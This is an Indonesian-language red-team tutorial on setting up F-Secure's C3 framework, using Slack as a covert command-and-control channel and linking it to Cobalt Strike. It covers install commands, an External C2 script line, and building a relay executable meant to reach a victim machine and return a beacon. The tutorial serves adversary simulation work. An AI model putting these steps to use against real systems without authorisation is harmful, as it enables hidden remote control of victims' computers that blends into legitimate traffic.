Cobalt Strike & Covenant Custom Command and Control (C3)
Bagian terpenting dari fase cyber kill chain yaitu command & control penyerang harus terhubung ke dalam jaringan menggunakan command & control (C2) untuk mengendalikan komputer korban dan mendapatkan sasaran akhir. Traditional C2 membuka komunikasi dua arah ke infrastruktur langsung milik penyerang dengan menggunakan berbagai macam protocol seperti DNS, HTTP atau HTTPS. Banyak network security appliance saat ini mencoba dengan berbagai cara untuk mendeteksi command & control.
Berbagai macam cara yang dilakukan oleh penyerang untuk menghindari pendeteksian maupun dari pantauan blue team seperti menggunakan teknik domain fronting atau menggunakan social media dan cloud service sebagai C2 untuk mencoba blend-in dengan traffic yang sah.
Sebagai contoh ransomware group Darkside/Blackmatter menggunakan Slack API sebagai C2 untuk melakukan serangan ransomware ke Colonial Pipeline, sebelumnya beberapa APT group seperti APT29 menggunakan OneDrive cloud service sebagai C2.
Custom Command and Control (C3)
Custom Command and Control (C3) dikembangkan oleh F-Secure dibuat untuk mempermudah red team operator menggunakan berbagai macam C2 channel terdapat dua jenis channel external dan internal yang mendukung banyak protocol dan service.
External Channel
Mattermost, Asana, GitHub, Dropbox, JIRA, Discord, GoogleDrive, Slack, EWS Tasks, OneDrive 365 Rest File, OneDrive 365 Rest Task
Internal Channel
MSSQL, UNC Share File, LDAP, Printer Jobs
Dengan C3 red team operator dapat melakukan adversary simulation atau purple teaming untuk dapat menunjukkan kemampuan C2 yang sama dengan adversary. Pada tutorial C3 kali ini akan menggunakan Slack API sebagai C2, sebelum menjalankan C3 perlu menginstall dotnet 3.1 dan wine64 terlebih dahulu :
sudo apt install -y wine64
wget https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y apt-transport-https
sudo apt-get install -y dotnet-sdk-3.1
Download C3 latest version dari github.
wget https://github.com/FSecureLABS/C3/releases/download/v1.4.0/C3-1.4.0.zip
unzip c3-1.4.0.zip
Buat Aplikasi Slack
Sebelum membuat aplikasi di slack harus memiliki workspace terlebih dahulu, untuk membuat aplikasi masuk ke Slack API dan Create New App pilih From scratch.
Masukan nama aplikasi dan pilih workspace kemudian klik Create App.
Setelah aplikasi berhasil dibuat masuk ke OAuth & Permissions dan tambahkan permission dibawah ini dalam bot token scope.
Setelah permission ditambahkan install aplikasi ke workspace.
Akan ada request permission dari aplikasi untuk mengakses ke workspace, klik Allow.
Setelah aplikasi ditambahkan ke workspace, copy oauth token diawali dengan xoxb.
Menjalankan C3
Untuk menjalankan C3 masuk ke folder WebController dan jalankan C3WebController.dll dengan dotnet.
cd WebController
dotnet C3WebController.dll --urls http://<IP>:<PORT>
Buka C3 interface di browser sesuaikan dengan url yang sudah di setting sebelumnya.
Akan muncul Network Error karena config belum sesuai, edit config sesuaikan dengan ip dan port saat ini dan save confing.
Selanjutnya perlu melakukan gateway setup, gateway digunakan untuk mengontrol seluruh network pada C3 karena tidak dapat jalan tanpa ada gateway.
Klik create and download gateway lalu jalankan gateway dengan wine.
wine GatewayX64_redteam.exe
Setelah dijalankan gateway akan terhubung ke WebController API, double klik pada icon server pada C3 Dashboard untuk membuat command ke gateway dan klik Command Center.
Pilih AddChannelSlack paste oauth token pada bagian input slack token dan Send Command.
Link C3 ke Cobalt Strike
External C2 diperkenalkan pada Cobalt Strike versi 3.6 menyediakan interface untuk 3rd party yang bertindak sebagai layer komunikasi antara Cobalt Strike dan Beacon. Untuk menghubungkan C3 dengan Cobalt Strike perlu menjalankan external c2 di teamserver. Buat file externalc2.cna dengan isi script berikut ini :
externalc2_start("0.0.0.0",2222);
Load externalc2.cna menggunakan agscript :
./agscript <Teamserver> <Port> <Username> <Password> externalc2.cna
Menghubungkan C3 ke cobalt strike masuk ke command center dan pilih TurnOnConnectorTeamServer masukan ip address teamserver dan port external c2.
Selanjutnya perlu membuat node relay untuk C2 channel yang berperan sebagai 3rd party client yang nanti akan dikirimkan ke victim dalam bentuk exe, double click pada interface id 1.
Pilih Interface Options dan buat New Relay, lalu kilik create and download relay.
Apabila node relay telah dijalankan akan muncul node relay berwarna hijau.
Double klik untuk melihat informasi detail mengenai komputer victim, untuk menjalankan payload beacon dari C3 ke Cobalt Strike pilih Command Center.
Lalu pada Select Command pilih AddPeripheralBeacon dan Send Command.
Tunggu beberapa saat akan masuk beacon baru dari komputer korban.
Jika dilihat dari analisa traffic source address berasal dari ip 18.136.169.56 yang merupakan ip milik Slack.